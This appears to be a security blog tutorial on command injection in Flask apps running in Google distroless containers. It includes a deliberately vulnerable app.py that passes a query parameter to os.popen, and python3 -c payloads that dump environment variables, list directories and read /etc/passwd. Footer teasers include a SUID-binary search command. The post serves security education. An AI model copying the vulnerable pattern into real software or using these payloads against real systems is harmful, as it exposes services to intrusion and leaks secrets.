Skip to main content

Attacking with Command Injection on Containers created using Google's Distroless Images

 As mentioned in Github, "Distroless" images contain only your application and its runtime dependencies. They do not contain package managers, shells or any other programs you would expect to find in a standard Linux distribution." (https://github.com/GoogleContainerTools/distroless)

There are multiple reasons why distroless images are getting popular

  • minimal size 
  • does not include excessive binaries ( there is only sh and bash in /bin folder )
  • more secured ( due to presence of less binaries )

However there has been a wrong perceptions ( as per few blog posts ) that we cannot do command injection attacks in the containers made of distroless images. While this is partly true that we cannot try the usual attacks of command injection but it will be wrong to say that it is impossible. This blog post is about attacking them. 


Here is my base code and the Dockerfile


app.py

from flask import Flask,request
import os
import subprocess

app = Flask(__name__)


@app.route("/")
def hello():
    try:
        cmd = request.args.get("cmd")
        res = os.popen(cmd).read()
        return "Out->"+str(res)
    except:
        return "error"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)



FROM python:3-slim AS build
COPY ./app /app
WORKDIR /app
RUN pip install --upgrade pip
RUN pip install Flask


FROM gcr.io/distroless/python3
COPY --from=build /app /app
COPY --from=build /usr/local/lib/python3.9/site-packages /usr/local/lib/python3.9/site-packages
WORKDIR /app
ENV PYTHONPATH=/usr/local/lib/python3.9/site-packages
EXPOSE 5000
USER nonroot
ENTRYPOINT python3 app.py


First let us try to perform a simple command injection and see the results. 


No output


As expected it would not show anything, however it is a good idea to look at the logs.


/bin/sh: 1: ls: not found

/bin/sh: 1: whoami: not found


Before I explain how it is possible to execute the commands, it would be a good idea to explore the environment and the file system to get a deeper understanding why most attacks are not possible. 


The PATH variable inside a running container

'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'


Now let us explore each of these locations as referred in PATH variable and see what we can find in them.


/usr/local/sbin

[None]


/usr/local/bin

[None]


/usr/sbin

['tzconfig', 'iconvconfig', 'zic'] 


/usr/bin

['locale', 'localedef', 'zdump', 'python3.5m', 'python', 'catchsegv', 'getconf', 'ldd', 'tzselect', 'iconv', 'getent', 'python3.5', 'pldd', 'python3', 'openssl', 'c_rehash']

Finally something interesting above, python binaries


/sbin

['ldconfig'] 


/bin

['dash', 'sh'] 


As you have seen we don't have enough binaries in them to perform normal command injection attacks. However we still can execute system commands ( but programmatically using the target language APIs ).There is way by which we can execute inline python commands from command line


python -c '<some python code>'

Using the above trick we can try the same things like for example printing the environment values 


python3 -c 'import os;print(os.environ)'


To list directories

python3 -c+'import os;print(os.listdir("/"))'

['root', 'home', 'var', 'etc', 'boot', 'proc', 'dev', 'lib', 'sys', 'bin', 'run', 'tmp', 'usr', 'sbin', '.dockerenv', 'app', 'lib64']


To read files

python3 -c 'import os;print(open("/etc/passwd").readlines())'

['root:x:0:0:root:/root:/sbin/nologin\n', 'nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin\n', 'nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin\n'] 


Well that's it for this post :)

References:

https://github.com/GoogleContainerTools/distroless


Popular posts from this blog

KringleCon : Sans Holiday Hack 2018 Writeup

SANS HOLIDAY HACK 2018 Writeup , KRINGLECON The objectives  Orientation Challenge  Directory Browsing  de Bruijn Sequences  Data Repo Analysis  AD Privilege Discovery  Badge Manipulation  HR Incident Response  Network Traffic Forensics  Ransomware Recovery  Who Is Behind It All? First I go to Bushy Evergreen and try to solve the terminal challenge . Solving it is fairly easy , Escape_Key followed by  ":q" without quotes After this we move to the kiosk and solve the questions The question were based on the themes of previous Holiday Hack Challenges. Once we answer it correctly we get the flag. For this I visited Minty Candycane and I tried to solve the terminal challenge.  The application has command injection vulnerability , so injecting a system command with the server ip allows execution of the command. So first I perform an `ls` operation to list of the directory contents , followed by a cat of t

Linux Privilege Escalation : SUID Binaries

After my OSCP Lab days are over I decided to do a little research and learn more on Privilege Escalation as it is my weak area.So over some series of blog post I am going to share with you some information of what I have learnt so far. The methods mentioned over here are not my own. This is something what I have learnt by reading articles, blogs and solving CTFs SUID - Set User ID The binaries which has suid enabled, runs with elevated privileges. Suppose you are logged in as non root user, but this suid bit enabled binaries can run with root privileges. How does a SUID Bit enable binary looks like ? -r- s r-x---  1 hack-me-bak-cracked hack-me-bak         7160 Aug 11  2015 bak How to find all the SUID enabled binaries ? hack-me-bak2@challenge02:~$ find / -perm -u=s 2>/dev/null /bin/su /bin/fusermount /bin/umount /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/gpasswd /usr/bin/newgrp /usr/bin

Bluetooth Low Energy : Build, Recon,Enumerate and Attack !

Introduction In this post I will try to share some information on bluetooth low energy protocol. Bluetooth Low Energy ( BLE ) is Bluetooth 4.0.It has been widely used in creating "smart" devices like bulbs that can be controlled by mobile apps, or electrical switches that can be controlled by mobile apps. The terms Low Energy refers to multiple distinctive features that is operating on low power and lower data transfer. Code BLE Internals and Working The next thing what we need to know is a profile. Now every bluetooth device can be categorized based on certain specification which makes it easy. Here we will take a close look into two profiles of Bluetooth which is specifically designed for BLE. Generic Access Profile (GAP) - This profiles describes how two BLE devices defines discovery and establishment of connection with each other. There are two types of data payload that can be used. The Advertising Data Payload and Scan Response Payload . The GAP uses br